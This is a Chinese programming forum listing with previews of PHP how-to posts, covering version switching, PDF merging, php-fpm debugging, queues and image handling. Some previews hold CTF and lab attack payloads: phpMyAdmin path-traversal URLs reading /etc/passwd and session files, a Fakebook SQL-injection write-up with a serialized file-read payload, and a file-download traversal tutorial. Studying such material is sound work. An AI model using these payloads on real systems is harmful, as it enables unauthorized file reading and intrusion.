ios /安卓开发
软件开发工具包/Android原生开发工具包相关文档和高级学习教学。
1,467个主题在此版块
-
- 0 篇回复
- 102 次查看
PHP版本切换网上有写博客用 brew-php-switcher 切换实际没生效,博客也是相互抄,看了袭浪费时间。讲一下我的思路,因为php 可以cli 和fpm 的方式。安装php 将不同版本添加命令到bin 实现cli模式可以调用不同版本;fpm通过修改配置文件,绑定不同端口,就可以同时运行不同版本的fpm,使用nginx 时配置文件写不用的fpm的端口号就可以使用不同版本的fpm了。用 homebrew 安装后软件目录也不同。Linux、windows也可以用类似方式实现。记录一下博客,方便后续有需要的人看,节约时间。 别跟我说docker!夏天macbook 开docker 热得一匹! brew install [email protected] ## 等待brew 更新安装,太慢的,可以参考别人的博客换homebrew 的源 cd /usr/local/bin/ ## php74 是我定义的命令文件名,其他版本自行定义名字。不过下文安装对应版本composer时要使用对应的命令名 ln -s /usr/local/opt/[email protected]/bin/php php74 php74 -v PHP 7.4.21 (cli) (built: Jul 12 2021 11:57:26) ( NTS ) Copyright (c) The PHP Group Zend Engine v3.4.0, Copyright (c) Zend Technologies with Zend OPcache v7.4.21, Copyright (c), by…
HACK1949的最后回复, -
- 0 篇回复
- 120 次查看
phpstorm2022是一款非常好用的php开发软件,软件支持所有PHP语言功能,提供最优秀的代码补全、重构、实时错误预防等等功能,能够为程序员提供更为效率的php开发,新版本改进了phpstorm软件的自动完成功能。还增加了代码清理工具,可以删除不必要的部分来优化全类名称,从而更好的提高用户的工作效率。 mac版详情:PhpStorm 2022 for Mac(PHP集成开发) win版详情:PhpStorm 2022 for Mac 功能介绍 智能PHP代码编辑器 IDE提供智能代码完成,语法高亮显示,扩展代码格式配置,动态错误检查,代码折叠,支持语言混合等等。自动重构可以谨慎处理您的代码,帮助您轻松安全地进行全局项目设置。 代码质量分析 当您键入并检查整个项目以查找可能的错误或代码异味时,数百个代码检查会验证您的代码。快速修复大多数检查可以很容易地立即修复或改进代码。Alt + Enter显示每个检查的适当选项。 简易代码导航和搜索 Phpstorm可帮助您更有效地绕过代码,并节省处理大型项目时的时间。只需点击一下即可跳转到方法,函数或变量定义,或搜索其用法。 调试 零配置调试使调试PHP应用程序变得非常简单。此外,Phpstorm提供了许多用Visual Debugger调试PHP代码的选项,因此您可以:检查变量和用户定义的监视,在运行时设置断点并评估表达式,调试远程应用程序,同时在多个会话中调试页面等等。 测试 您可以在Phpstorm中正确开发PHP…
HACK1949的最后回复, -
- 0 篇回复
- 114 次查看
1. composer 安装 PDF组件 composer require setasign/fpdi composer require setasign/fpdf 两个组件都需要安装,有依赖关系 2. 使用 <?php try { $fpdi = new Fpdi(); // 设置待处理PDF文件,并且方法返回PDF总计页数 $pagecount1 = $fpdi->setSourceFile("C:\Users\83553\Desktop\pdf\员工保密协议(2).pdf"); for ($i=1;$i<=$pagecount1;$i++) { // 增加新的空白PDF页面 $fpdi->AddPage(); // 导入页面 $tplId = $fpdi->importPage($i); // 填充页面 $fpdi->useTemplate($tplId); } // 以下同理,因为多个PDF文件,所以多次,需要合并的PDF文件过程,可以使用循环,次示例仅供参考(示例可跑通) $pagecount2 = $fpdi->setSourceFil…
HACK1949的最后回复, -
- 0 篇回复
- 124 次查看
一般情况下我们的网页代码集采用utf-8,php返回的错误信息的中文编码是GBK,就会导致无法正确显示中文的问题,这是我们可以用mb_convert_encoding($原字符串, "目标便编码","原编码")将返回信息的编码变成utf-8,这样就可以正常显示中文了。 1 <?php 2 header("Content-type: text/html; charset=utf-8"); 3 4 $db_host='localhost33'; 5 $db_user='root'; 6 $db_pass='root'; 7 $db_name='test'; 8 $db_table='keji'; 9 if(!$link=mysqli_connect($db_host,$db_user,$db_pass)){ 10 11 $contents = mb_convert_encoding(mysqli_connect_error(),"utf-8","gbk"); 12 echo '错误:'. $contents; 13 exit(); 14 } 15 16 var_dump($link); 17 18 if(!mysqli_connect($link,$db_name)){ 19 echo "打开{$db_name}失败!"; 20 exit(); 21 } 22 // $sql='select * from keji;' 23 mysqli_close($…
HACK1949的最后回复, -
- 0 篇回复
- 112 次查看
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 在sql里面执行 SELECT '<?=phpinfo()?>'; http://node4.buuoj.cn:26180/index.php?target=sql.php?/../../../../../../../../../tmp/sess_be13990e05aa8958689867e1d1b31c67
HACK1949的最后回复, -
PHP变量规则 变量以$符号开头,其后是变量的名称; 变量名称必须已字母或者下划线开头; 变量名称不能以数字开头; 变量名称只能包含字母数字字符和下划线(A-z、0-9以及 _ ); 变量名称对大小写敏感($y和$Y是两个不同的变量) 注释:PHP变量名称对大小写敏感 创建PHP变量 PHP变量没有创建变量的命令。变量会在首次为其赋值时被创建。 PHP是一门类型松散的语言 注意我们不必告知PHP变量的数据类型。 PHP根据它的值,自动把变量转换为正确的数据类型。 在诸如C和C++以及Java之类的语言中,程序员必须在使用变量之前声明他的名称和类型。 PHP变量作用域 local(局部) global(全局) static(静态) PHP global关键词 global关键词用于在函数内访问全局变量,即可以在函数内部变量前面使用global关键词。 PHP同时在名为$GLOBALS[index]的数组中存储了所有的全局变量。下标存有变量名。这个数组在函数内也可以访问,并能够用于直接更新全局变量。如: PHP static关键词 通常在函数完成/执行后,会删除所有的变量。不过,有时我需要不删除某个局部变量,可以在函数内首次声明变量时使用static关键词。 PHP echo和print语句 echo 能够输出一个以上的字符串; print 只能输出一个字符串,并始终返回1。 PHP数据类型 var_dump() 返回变量的数据类型和值。 PHP数组的数据类型: PHP字符串函数 strlen():返回字符串的…
HACK1949的最后回复, -
前言:我在宝塔上传了php文件,在浏览器输入www.yyy.com/index.php,回车,报错。 具体报错: Service Unavailable The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later. Apache Server at www.yyy.com Port 443 服务不可用 由于维护停机或容量问题,服务器暂时无法满足您的请求。请稍后再试。 Apache服务器位于www.yyy。com端口443 原因推测:服务器资源被占满或者是服务器太渣了运行不起来php 解决方案: 1、检查是否存在硬盘容量已满的情况,如有就处理硬盘,然后就重启服务器(来自百度的方案,我不是这样的,我的服务器硬盘占用资源极少); 2、直接重启服务器,我先是在宝塔中重启服务器,然并卵x1,我又跑去百度智能云管理后台去重启,然并卵x2; 我就纳了闷了,Apache和PHP正常启用,域名也已备案,而且就是不能访问.php文件,其他诸如.txt文本可以访问 直至我刷到了一篇文章才知道问题出在哪: 原因:我在宝塔建立的站点设置成了伪静态,而没有选择php版本,从而不能运行php文件。 解决方案:在宝塔右=左侧菜单点击网站,点击出问题的站点,找到php版本,点击后出现PHP版本,这里我看到了伪静态三个字,去掉,选择我的服务器配置的ph…
HACK1949的最后回复, -
- 0 篇回复
- 129 次查看
学习php中文网原代码为: <a href="" onclick="del(<?php echo $arr['id']?>)" >删除</a></td> 点击后无法跳转,调试很久解决不了,最后去掉 href="",使其变成: <a onclick="del(<?php echo $arr['id']?>)" >删除</a></td> 从而实现跳转功能。
HACK1949的最后回复, -
- 0 篇回复
- 155 次查看
很多时候,线上服务器的进程在某时间段内长时间占用CPU过高,为了优化,我们需要找出原因。 1、找出占用CPU最高的10个进程 ps aux | sort -k3nr | head -n 10 或查看占用内存最高的10个进程 ps aux | sort -k4nr | head -n 10 或者使用 top ,按 1 显示CPU列表,再按 shift+p 以CPU排序 top 2、对进程进行跟踪查看 查看进程打开的文件 lsof -p 进程PID 查看进程在处理的文件 ll /proc/进程PID/fd 查看进程的内存使用情况 pmap 进程PID 通过strace来跟踪进程的系统调用 strace -p 进程PID 当然我们也可以查看汇总的信息 strace -cp 进程PID 如果我们想跟踪某进程所有的系统调用,并统计调用时间,并导出为文件,可用如下命令 strace -o 导出文件 -T -tt -e trace=all -p 进程PID 3、查找php-fpm占用过高的原因 我们可以配置php-fpm的慢日志,查找是哪些文件导致php-fpm占用过高。 先找到php-fpm.conf文件位置 ps -ef|grep php 修改php-fpm.conf,并打开日志选项 ;错误日志 error_log = log/php-fpm.log ;访问日志 access.log = log/$p…
HACK1949的最后回复, -
- 0 篇回复
- 123 次查看
1、在php的安装目录中找到php.ini(如果安装环境时没改的话是php.ini-development); 2、打开php.ini,在里面搜索extension=php_curl.dll,如果这行前面有分号,请删除分号开启该扩展; 3、在同一目录下找到libeay32.dll,libssh2.dll,ssleay32.dll这三个文件,复制粘贴到apache的bin目录下; 4、重启apache即可。 亲测有效~(当时没有libssh2.dll这个文件,拷贝的是libsasl.dll)
HACK1949的最后回复, -
- 0 篇回复
- 106 次查看
[网鼎杯 2018]Fakebook 打开网站发现是一个登录界面,还可以任意注册账号 先随便注册一个账号 然后点击了一下注册后的名字 出现了这个界面,好似没什么用处,但仔细看了一下网址http://1.14.71.254:28653/view.php?no=1,这个no=1,好像可以进行注入 说明了字段数为4 查找回显点是,被提示错误,应该是什么东西被过滤了,可以用union/**/select进行绕过 发现回显点为2 查找出数据库名为fakebook 表名为users 有这么多的列名,就一个一个的试,发现在data列里面有点不对 显示出来的是经过序列化后的东西 这就不知道咋整了,直接搜wp 看到了两种解法,简答的一直就是直接用load_file()函数,直接读取flag.php文件得到flag 还有一种就是根据下载robots.txt文件,查看页面的源码,通过代码审计,构造payload o=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users然后在源码中找到flag
HACK1949的最后回复, -
- 0 篇回复
- 108 次查看
原文:https://blog.csdn.net/sqlquan/article/details/87795918 1、封装 /** * 获取一个日期范围内的日期 * @param int $interval 日期范围 * @param string $type 取值类型,-:获取之前日期;+:获取之后的日期 * @return array */ protected function getDateInterval(int $interval,string $type) :array { $dateArr = []; for ($i = $interval - 1; $i >= 0; $i--) { array_push($dateArr, date('Y-m-d', strtotime("{$type}{$i} day"))); } if($type=='+')$dateArr=array_reverse($dateArr); return $dateArr; } 2、调用 $rs = $this->getDateInterval(14,'-'); print_r($rs); array:14 [ 0 => "2022-07-13" 1 => "2022-07-14" 2 => "2022-07-15" 3 => "2022-07-16" 4 => "2022-07-17" 5 => "2022-…
HACK1949的最后回复, -
- 0 篇回复
- 122 次查看
必须为整数 int类型 创建一个包含从 "0" 到 "5" 之间的元素的数组: <?php $number = range(0,5); print_r ($number); ?> 返回一个包含从 "0" 到 "50" 之间并以 10 递增的元素的数组: <?php $number = range(0,50,10); print_r ($number); ?>
HACK1949的最后回复, -
- 0 篇回复
- 146 次查看
答案:不是不要加引号,加引号就错了; 应该加小引号,就是ESC键下面那个键; 加不加无所谓 但是规范的都加。 其他:什么意思?为什么要加引号? 只有在你的表名或者字段名跟mysql的关键字重复时才需要加上引号; 而且不是单引号和双引号,而是ESC键下面的那个符号 `
HACK1949的最后回复, -
- 0 篇回复
- 120 次查看
安装thinkphp-queue composer install topthink/think-queue win10安装redis redis下载地址:点我去下载 找到相应的msi文件下载安装即可 php安装redis扩展 redis扩展下载地址:点我去下载 需要注意选择相应的VC扩展包,同时php.ini开启redis扩展 app\index\controller\Demo.php <?php namespace app\index\controller; use think\facade\Queue; class Demo{ public function index() { //当前任务将由哪个类来负责处理。 //当轮到该任务时,系统将生成一个该类的实例,并默认调用其 fire 方法 $jobHandlerClassName = 'app\task\job\Order'; //当前任务归属的队列名称,如果为新队列,会自动创建 //php think queue:work --queue orderJobQueue //php think queue:work --queue orderJobQueue --daemon $jobQueueName = "orderJobQueue"; //数组数据 …
HACK1949的最后回复, -
- 0 篇回复
- 106 次查看
如何做到 ueditor批量上传word图片? 1、前端引用代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type"content="text/html; charset=utf-8"/> <title>编辑器完整版实例-1.2.6.0</title> <script type="text/javascript"src="ueditor.config.js"charset="utf-8"></script> <script type="text/javascript"src="ueditor.all.js"charset="utf-8"></script> <link type="text/css"rel="Stylesheet"href="WordPaster/css/WordPaster.css"/> <link type="text/css"rel="Stylesheet"h…
HACK1949的最后回复, -
- 0 篇回复
- 115 次查看
文件操作安全 不安全的文件下载概述 文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。 此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。 所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心! 你可以通过“Unsafe file download”对应的测试栏目,来进一步的了解该漏洞。 文件包含,文件下载,文件读取. unsafe filedownload 图片下载链接: http://local…
HACK1949的最后回复, -
- 0 篇回复
- 112 次查看
文件夹数据库处理逻辑 public class DbFolder { JSONObject root; public DbFolder() { this.root = new JSONObject(); this.root.put("f_id", ""); this.root.put("f_nameLoc", "根目录"); this.root.put("f_pid", ""); this.root.put("f_pidRoot", ""); } /** * 将JSONArray转换成map * @param folders * @return */ public Map<String, JSONObject> toDic(JSONArray folders) { Map<String, JSONObject> dt = new HashMap<String, JSONObject>(); for(int i = 0 , l = folders.size();i<l;++i) { JSONObject o = folders.getJSONObject(i); St…
HACK1949的最后回复, -
- 0 篇回复
- 132 次查看
docker ps 查询跑了那些进程 进入docker php容器 docker exce -it php bash 进入容器之后,执行一下nginx命令,使php跑起来 退出镜像, 查看容器有镜像 docker images 编辑docker国内镜像 "registry-mirrors": [ "http://hub-mirror.c.163.com", "https://docker.mirrors.ustc.edu.cn", "https://registry.docker-cn.com" ]
HACK1949的最后回复, -
- 0 篇回复
- 97 次查看
情况这样,左边的图片是使用php磨圆后的图片,然后与白色背景的图片合并之后,透明部分奇怪的变成了黑色。 最初的代码,简单的合并 //背景图片$bgPath= './resource/bg.png';$bgImage= imagecreatefrompng($bgPath); //透明图片$desPath = './resource/avator.png';$desImage = imagecreatefrompng($desPath); //创建图像$imagebox = imagecreatetruecolor(imagesx($bgImage),imagesy($bgImage));imagecopyresampled($imagebox, $bgImage, 0, 0, 0, 0, imagesx($bgImage), imagesy($bgImage), imagesx($bgImage), imagesy($bgImage)); //----合并透明图片----imagecopymerge($imagebox, $desImage, 20, 0, 0, 0, imagesx($desImage), imagesy($desImage), 100); $filename = './images/'.uniqid().'.jpg';imagejpeg($imagebox,$filename);imagedestroy($imagebox); 第一种方式 使用 imagecopy 合并 这里既是直接把 imagecop…
HACK1949的最后回复,